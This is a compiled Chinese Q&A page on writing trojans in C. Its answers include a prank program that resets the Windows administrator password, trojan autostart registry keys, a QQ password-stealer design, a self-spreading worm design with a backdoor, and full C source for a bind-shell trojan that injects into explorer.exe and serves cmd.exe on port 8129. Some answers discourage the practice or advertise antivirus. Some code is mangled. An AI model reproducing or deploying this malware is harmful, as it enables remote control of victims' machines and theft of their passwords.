用c编写的木马程序是什么_用c编写的木马程序

hacker|
260

c语言写木马程序原理

原理有很多种,目地就是破坏计算机环境,比如有大量消耗cpu,删除更改你的文件使它失效,纪录你的键盘使用情况,达到一个窃取你密码和账号的的结果,是你在某些网站的内容被其任意篡改,或者让你就算无法正常工作,只要能达到某种破坏你的影响你的计算机的使用,都可以算是病毒。

举个简单的例子,你写的一个程序改变了计算机的时间,比如改成1900年,这个时候很多程序都不能运行,再就是一个病毒的效果,你在用一个死循环消耗cpu,这个时候用户的机子就比较卡,所以也是一个病毒,当然这些都是简单例子,如果要深入学习,仅知道这点点只能当作启蒙

如何用C语言编一个假中毒的恶作剧程序?

一个小东西 介绍了后别笑话我 !它的功能很简单,就是把Administrator的密码该成xiaoniaoheihei

大家整了人之后切记告诉他密码(xiaoniaoheihei)

由于不能上传文件文件尺寸:

小于 200 kb

可用扩展名: gif, jpg

自己可以用TC2.0编写编译调试生成

C语言下的代码如下:

main()

{

system("net user administrator xiaoniaoheihei");

}

如果自己真的不小心忘记了密码 如果是XP系统 管理员密码破解如下:

1.用个启动盘启动电脑后进入DOS 状态下:输入如下命令

del X:\windows\sysrem32\config\sam 回车

copy x:\windows\repair\sam x:\windows\system32\config 回车

2.重新启动计算机。X为安装XP的盘 一般为c:

如何编写木马程序?

怎样编写木马程序

您好

建议您不要去学习使用木马病毒,是属于违法犯罪行为。而且,如果您接收了木马病毒,那么该病毒会自动在您的电脑中优先运行。

建议您到腾讯电脑管家官网下载一个电脑管家。

在平时使用电脑的时候,打开电脑管家,可以受到电脑管家16层实时防护的保护和云智能预警系统,可以在木马活动早期侦测并阻断木马的破坏行为,通过云查杀技术秒杀最新流行木马。

如果还有其他疑问和问题,欢迎再次来电脑管家企业平台进行提问,我们将尽全力为您解答疑难

腾讯电脑管家企业平台:zhidao.baidu/c/guanjia/

如何编写木马程序??

你想干什么?如果你只想玩玩,建议你学一下vbs脚本或bat脚本,如果你想把脚本做成exe程序,最简单的方法就是把脚本压缩到自解压文件里,再用16进制编辑器修改一下某个数值,就成功了。

如果你想干坏事,嘻嘻,木马也不是那么好写的,首先你要成为一个出色的程序员,不仅要打好C语言基础,更要精通汇编语言和计算机硬件以及操作系统原理,逻辑思维要强,当然要学的还很多,如mfc,C#等等,所以,如果你不是非常痴迷于编程,我劝你玩玩就行了,当然,更不要走上违法犯罪的道路吆!

good luck。

呀,还有,请采纳我吧,宝贝儿,嘻!

如何编写木马程序

如果对电脑感兴趣的话可以学习下,一般软件开发工程师都是学的高级语言,但是如果写木马,我们一般是要接触低级语言的,低级语言比高级语言学起来枯燥,但学成之后进阶高级语言很快而且比一般的程序员牛逼,高级语言配合底层知识才能写出更好的木马。底层知识越牢固越好。

怎样才能编程木马程序

北上广深这么多程序员,怎么没几个搞这种编程的?

一个原因就是没钱赚,另一个原因就是技术上要求太高。

好好的学编程,从你提这个问题来看,你都还没入门吧。

慢慢学,你会发现学得越多自己越无知,等你有五年以上开发经验的时候,再来看你现在的这个提问的时候,一定会笑话这个时候的自己的。

祝你在开发的路上快速成长!

木马是如何编写的(三)

很高兴为您解答:

木马编写是需要你懂的C++语言

首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

与exe文件建立关联:HKEY_CLASSES_ROOT\exefile\shell\open\mand

与txt文件建立关联:HKEY_CLASSES_ROOT\txtfile\shell\open\mand

与dll文件建立关联:HKEY_CLASSES_ROOT\dllfile\shell\open\mand

等,当然还可以自己扩充。目前还有一种新方法:在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

\Windows

下添加如下键值 "AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取......

编写木马?

盗号木马~~~~楼主,这不是好玩的东西,不过看在高分悬赏的份上,就告诉你吧。 可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取。 使用 Timer 控件,监视QQ。 用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取 得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 boBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。 由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下: 首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。 程序编制 (1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。 声明变量、过程及 API 函数,写在 Module1.bas 文件中 Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象

Type SECURITY_ATTRIBUTES

nLength As Long

lpSecurityDescriptor As Long

bInheritHandle As Long

End Type

Const PAGE_READWRITE = 1

Const ERROR_ALREADY_EXISTS = 183

建立判断程序是否多启动的过程

Sub Main()

Dim ynRun As Long

Dim sa As SECURITY_ATTRIBUTES

sa.bInheritHandle = 1

sa.lpSecurityDescriptor = 0

sa.nLength = Len(sa)

ynRun = CreateFileMapping(HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件

If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出

CloseHandle ynRun '退出程序前关闭内存映射文件

End

End If

End Sub

(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法 声明变量、过程及 API......

木马程序是怎么编出来的

一个典型的蠕虫病毒有两个功能型部件:传播和破坏,流行的蠕虫病毒大都是利用操作系统或者应用程序的漏洞(以弱口令和溢出最为常见),但常常并不会对宿主机造成“致命”的破坏。这两个特点使蠕虫病毒比普通电脑病毒传播得更快,影响力更大。一般来说,单一的蠕虫病毒只针对某种特定的漏洞进行攻击,所以一旦这种漏洞得到大范围修补,病毒也就没有了生存空间。

更新这种设计,我把传播部件拆分开来:把扫描、攻击和破坏脚本化,主程序则负责解析这些脚本。例如针对ftp弱口令进行扫描,我们可以定义如下脚本:

code:

uid = iscript-0a21-2331-x #随机唯一编号

using tcp;

port 21;

send “user anonymous”;

send crlf;

send “pass [email protected]”

send crlf;

if (find “200”) resulrt ok;

next;

[copy to clipboard]

解析了这段脚本后(我想这种脚本是很容易读懂的),我们再定义一系列的过程,把我们的蠕虫体upload上去,一次完整的传播动作就完成了。如果是溢出漏洞,为了简单起见我们可以采集远程溢出的数据包,然后修改ip地址等必要数据,再转发溢出数据包进行溢出(这种情况下要实现connect-back就不容易了,不过这些具体问题就待有心人去研究吧),例如:

code:

using raw;

ip offset at 12;

send “\x1a\xb2\xcc” ……

[copy to clipboard]d

主程序在完成传播后留下一个后门,其他宿主机可以通过这个后门与本地的蠕虫病毒同步传播脚本,这样每次有新的漏洞产生,宿主机的传播方式可以很快地得到升级。我们当然不会仅满足于这样一个蠕虫程序,扫描/攻击脚本的传播过程也是需要仔细处理的。

我们希望适应力(fitness)最强的脚本得到广泛的应用(看起来有点类似 蚁群算法 和 ga),所以我们要求得每个个体的fitness,当它和另一个体取得联系的时候就可以决定谁的传播脚本将取代另一个:

fitness = number of host infected / number of host scanned

但也不能仅凭fitness就修改传播脚本,我个人觉得一个合适的概率是75%,20%的机会保持各自的传播脚本,剩下的5%则交换脚本。这样在维持每种脚本都有一定生存空间的情况下使适应性最好的个体得到更多的传播机会,同时,一些在某种网络环境下适应性不强的脚本也有机会尝试不同的网络环境。

木马程序是怎么写出来的?

您好:

建议您不要编写木马程序,木马程序会对您和别人的电脑造成损害的,如果您曾编写过此类不安全的软件的话,为了您电脑的安全,建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧,打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以,您可以点击这里下载最新版的腾讯电脑管家:最新版腾讯电脑管家下载

腾讯电脑管家企业平台:zhidao.baidu/c/guanjia/

怎么制作木马程序?

你需要学会编程才能编写木马编写木马最好用vc++。enet/eschool/video/c++/ 这是c++的教程,你学懂了这些皮毛的东西再深入研究内核编程吧如果上面的地址打不开可以到这里pconline/pcedu/empolder/gj/vc/0607/820674

怎么编写一个简单的木马程序?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的薰陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的......

c语言编写的木马源代码

#includewinsock2.h

#pragma comment(lib,"ws2_32.lib")

#includewindows.h

#include Shlwapi.h

#pragma comment(lib,"Shlwapi.lib")

#include tlhelp32.h

#include stdio.h

#include string.h

//参数结构 ;

typedef struct _RemotePara

{

DWORD dwLoadLibrary;

DWORD dwFreeLibrary;

DWORD dwGetProcAddress;

DWORD dwGetModuleHandle;

DWORD dwWSAStartup;

DWORD dwSocket;

DWORD dwhtons;

DWORD dwbind;

DWORD dwlisten;

DWORD dwaccept;

DWORD dwsend;

DWORD dwrecv;

DWORD dwclosesocket;

DWORD dwCreateProcessA;

DWORD dwPeekNamedPipe;

DWORD dwWriteFile;

DWORD dwReadFile;

DWORD dwCloseHandle;

DWORD dwCreatePipe;

DWORD dwTerminateProcess;

DWORD dwMessageBox;

char strMessageBox[12];

char winsockDll[16];

char cmd[10];

char Buff[4096];

char telnetmsg[60];

}RemotePara;

// 提升应用级调试权限

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);

// 根据进程名称得到进程ID

DWORD GetPidByName(char *szName);

// 远程线程执行体

DWORD __stdcall ThreadProc(RemotePara *Para)

{

WSADATA WSAData;

WORD nVersion;

SOCKET listenSocket;

SOCKET clientSocket;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int iAddrSize = sizeof(client_addr);

SECURITY_ATTRIBUTES sa;

HANDLE hReadPipe1;

HANDLE hWritePipe1;

HANDLE hReadPipe2;

HANDLE hWritePipe2;

STARTUPINFO si;

PROCESS_INFORMATION ProcessInformation;

unsigned long lBytesRead = 0;

typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);

typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);

typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );

typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);

FARPROC PMessageBoxA;

FARPROC PWSAStartup;

FARPROC PSocket;

FARPROC Phtons;

FARPROC Pbind;

FARPROC Plisten;

FARPROC Paccept;

FARPROC Psend;

FARPROC Precv;

FARPROC Pclosesocket;

FARPROC PCreateProcessA;

FARPROC PPeekNamedPipe;

FARPROC PWriteFile;

FARPROC PReadFile;

FARPROC PCloseHandle;

FARPROC PCreatePipe;

FARPROC PTerminateProcess;

PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;

PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;

PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;

PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;

LoadLibraryFunc(Para-winsockDll);

PWSAStartup = (FARPROC)Para-dwWSAStartup;

PSocket = (FARPROC)Para-dwSocket;

Phtons = (FARPROC)Para-dwhtons;

Pbind = (FARPROC)Para-dwbind;

Plisten = (FARPROC)Para-dwlisten;

Paccept = (FARPROC)Para-dwaccept;

Psend = (FARPROC)Para-dwsend;

Precv = (FARPROC)Para-dwrecv;

Pclosesocket = (FARPROC)Para-dwclosesocket;

PCreateProcessA = (FARPROC)Para-dwCreateProcessA;

PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;

PWriteFile = (FARPROC)Para-dwWriteFile;

PReadFile = (FARPROC)Para-dwReadFile;

PCloseHandle = (FARPROC)Para-dwCloseHandle;

PCreatePipe = (FARPROC)Para-dwCreatePipe;

PTerminateProcess = (FARPROC)Para-dwTerminateProcess;

PMessageBoxA = (FARPROC)Para-dwMessageBox;

nVersion = MAKEWORD(2,1);

PWSAStartup(nVersion, (LPWSADATA)WSAData);

listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);

if(listenSocket == INVALID_SOCKET)return 0;

server_addr.sin_family = AF_INET;

server_addr.sin_port = Phtons((unsigned short)(8129));

server_addr.sin_addr.s_addr = INADDR_ANY;

if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;

if(Plisten(listenSocket, 5))return 0;

clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);

// Psend(clientSocket, Para-telnetmsg, 60, 0);

if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;

if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;

ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用

si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;

if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;

while(1) {

memset(Para-Buff,0,4096);

PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);

if(lBytesRead) {

if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;

if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;

}else {

lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);

if(lBytesRead =0 ) break;

if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;

}

}

PCloseHandle(hWritePipe2);

PCloseHandle(hReadPipe1);

PCloseHandle(hReadPipe2);

PCloseHandle(hWritePipe1);

Pclosesocket(listenSocket);

Pclosesocket(clientSocket);

// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);

return 0;

}

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

const DWORD THREADSIZE=1024*4;

DWORD byte_write;

void *pRemoteThread;

HANDLE hToken,hRemoteProcess,hThread;

HINSTANCE hKernel,hUser32,hSock;

RemotePara myRemotePara,*pRemotePara;

DWORD pID;

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);

EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);

// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS

pID = GetPidByName("EXPLORER.EXE");

if(pID == 0)return 0;

hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);

if(!hRemoteProcess)return 0;

// 在远程进程地址空间分配虚拟内存

pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

if(!pRemoteThread)return 0;

// 将线程执行体ThreadProc写入远程进程

if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;

ZeroMemory(myRemotePara,sizeof(RemotePara));

hKernel = LoadLibrary( "kernel32.dll");

myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");

myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");

myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");

myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");

myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");

myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");

myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");

myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");

myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");

myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");

myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");

hSock = LoadLibrary("wsock32.dll");

myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");

myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");

myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");

myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");

myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");

myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");

myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");

myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");

myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");

hUser32 = LoadLibrary("user32.dll");

myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

strcat(myRemotePara.strMessageBox,"Sucess!\\0");

strcat(myRemotePara.winsockDll,"wsock32.dll\\0");

strcat(myRemotePara.cmd,"cmd.exe\\0");

strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");

//写进目标进程

pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);

if(!pRemotePara)return 0;

if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0;

// 启动线程

hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);

while(1) {}

FreeLibrary(hKernel);

FreeLibrary(hSock);

FreeLibrary(hUser32);

CloseHandle(hRemoteProcess);

CloseHandle(hToken);

return 0;

}

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;

AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);

return((GetLastError() == ERROR_SUCCESS));

}

DWORD GetPidByName(char *szName)

{

HANDLE hProcessSnap = INVALID_HANDLE_VALUE;

PROCESSENTRY32 pe32={0};

DWORD dwRet=0;

hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hProcessSnap, pe32))

{

do

{

if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)

{

dwRet=pe32.th32ProcessID;

break;

}

}while (Process32Next(hProcessSnap,pe32));

}

else return 0;

if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);

return dwRet;

}

怎么用C语言编写木马、病毒等程序?

C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。\x0d\x0a如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等

0条大神的评论

发表评论